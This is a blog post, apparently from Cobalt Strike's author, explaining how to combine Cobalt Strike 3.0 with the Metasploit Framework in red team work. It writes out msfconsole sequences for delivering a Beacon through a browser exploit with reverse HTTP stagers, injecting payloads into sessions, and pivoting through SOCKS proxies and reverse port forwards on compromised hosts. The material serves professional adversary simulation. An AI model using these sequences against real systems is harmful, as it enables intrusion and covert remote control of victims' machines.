Cobalt Strike 3.0 is a stand-alone platform for Adversary Simulations and Red Team Operations. It doesn’t depend on the Metasploit Framework. That said, the Metasploit Framework is a wealth of capability and there are places where it adds value. I didn’t forget this in my design of Cobalt Strike 3.0. In this blog post, I’ll show you how to use Cobalt Strike and the Metasploit Framework together. Even though they are two separate entities, there is a lot of synergy between these platforms.
Deliver Beacon with a Metasploit Framework Exploit
You may use a Metasploit Framework exploit to deliver Cobalt Strike’s Beacon. The Beacon payload is compatible with the Metasploit Framework’s staging protocol. To deliver a Beacon with a Metasploit Framework exploit, type:
use exploit/multi/browser/adobe_flash_hacking_team_uaf set PAYLOAD windows/meterpreter/reverse_http set LHOST [Cobalt Strike's IP or hostname] set LPORT 80 set DisablePayloadHandler True set PrependMigrate True exploit -j
Here’s an explanation of these commands:
1. Use the exploit module you want to deliver Beacon with.
2. Set PAYLOAD to windows/meterpreter/reverse_http for an HTTP Beacon. Set PAYLOAD to windows/meterpreter/reverse_https for an HTTPS Beacon. You’re not really delivering Meterpreter here. You’re telling the Metasploit Framework to generate an HTTP (or HTTPS) stager to download a payload from the specified LHOST/LPORT.
3. Set LHOST and LPORT to point to your Cobalt Strike listener. Cobalt Strike will know what to do when it receives a request from a Metasploit Framework stager.
4. Set DisablePayloadHandler to True. This tells the Metasploit Framework that it does not need to create a handler within the Metasploit Framework to service a payload connection.
5. Set PrependMigrate to True. This option tells the Metasploit Framework to modify its stager to migrate to another process, immediately after exploitation. This option is very important for client-side attacks. It allows your session to survive if the exploited application crashes or closes.
Tunnel Metasploit Framework Modules through Beacon
Cobalt Strike’s Beacon payload has had SOCKS proxy pivoting since 2013. This form of pivoting makes it easy to tunnel many tools through Beacon. To tunnel the Metasploit Framework through Beacon:
1. Interact with a Beacon and type socks 1234 to create a SOCKS proxy server on port 1234 of your Cobalt Strike team server system.
2. Type sleep 0 in the Beacon console to request that the Beacon become interactive. Tunneling traffic with minimal latency requires that Beacon regularly connects to your controller to exchange read, write, and connect information.
3. Go to View -> Proxy Pivots in Cobalt Strike. This will open a tab that presents all SOCKS proxy servers on your Cobalt Strike team server.
4. Highlight the desired SOCKS pivot and press Tunnel. This will open a dialog that contains a one-liner to paste into the Metasploit Framework.
5. Go to msfconsole and paste in that one-liner. This one-liner will globally set the Metasploit Framework’s Proxies option. This option lets you specify a SOCKS proxy server to send the Metasploit Framework module through.
Use the Metasploit Framework. The exploits and modules you run will tunnel through your Beacon.
If you want to stop tunneling Metasploit through your Beacon, type unsetg Proxies in the Metasploit Framework console.
Spawn Meterpreter from Beacon
Cobalt Strike’s session passing features target listeners. A listener is a name tied to a payload handler and its configuration information. A foreign listener is an alias for a payload handler located elsewhere. Cobalt Strike can pass sessions to the Metasploit Framework with foreign listeners. To create a foreign listener for Meterpreter:
1. Go to Cobalt Strike -> Listeners
2. Press Add
3. Set the Payload type to windows/foreign/reverse_https for HTTPS Meterpreter. Cobalt Strike also has reverse_http and reverse_tcp foreign listeners too.
4. Set The Host and Port of the listener to the LHOST and LPORT of your Meterpreter handler.
5. Press Save
You now have a Cobalt Strike listener that refers to your Metasploit Framework payload handler. You can use this listener with any of Cobalt Strike’s features. To pass a session from Beacon, go to [beacon] -> Spawn and choose your foreign listener.
Spawn Beacon from Meterpreter
To spawn a Beacon from a Meterpreter session use the payload_inject exploit to deliver your Beacon. Here are the steps to do this:
1. Use the exploit/windows/local/payload_inject module
2. Set PAYLOAD to windows/meterpreter/reverse_http for an HTTP Beacon. Set PAYLOAD to windows/meterpreter/reverse_https for an HTTPS Beacon.
3. Set LHOST and LPORT to point to your Cobalt Strike listener.
4. Set DisablePayloadHandler to True.
5. Set SESSION to the session ID of your Meterpreter session
And, here’s what this looks like in the Metasploit Framework console:
use exploit/windows/local/payload_inject set PAYLOAD windows/meterpreter/reverse_http set LHOST [IP address of compromised system] set LPORT 80 set SESSION 1 set DisablePayloadHandler True exploit –j
Tunnel Meterpreter through Beacon
Use Beacon’s rportfwd command to turn a system, compromised with Beacon, into a redirector for your Meterpreter sessions. The rportfwd command creates a server socket on a compromised system. Any connections to this server socket result in a new connection to a forward host/port. Traffic between the forward host/port and the connection to the compromised system is tunneled through Beacon.
To create a Meterpreter handler that rides through a Beacon reverse port forward:
use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_https set LHOST [IP address of compromised system] set LPORT 8443 set ExitOnSession False exploit –j
These commands create a Meterpreter HTTPS handler, bound to port 8443, that stages and connects to the IP address of our pivot host.
To create a reverse port forward in Cobalt Strike:
1. Interact with a Beacon on the compromised system you want to pivot through.
2. Use sleep 0 to make the Beacon check-in multiple times each second
3. Type rportfwd 8443 [IP of Metasploit system] 8443 to create a reverse port forward.
You now have a server socket, bound on the compromised system, that forwards connections to your Meterpreter handler. If you want to use that Meterpreter handler from Cobalt Strike, create a foreign listener.
Optionally, use Cobalt Strike’s Pivot Listeners feature to create a reverse port forward and a foreign listener in one step.
Parts 3, 4, and 7 of Advanced Threat Tactics cover the concepts in this blog post.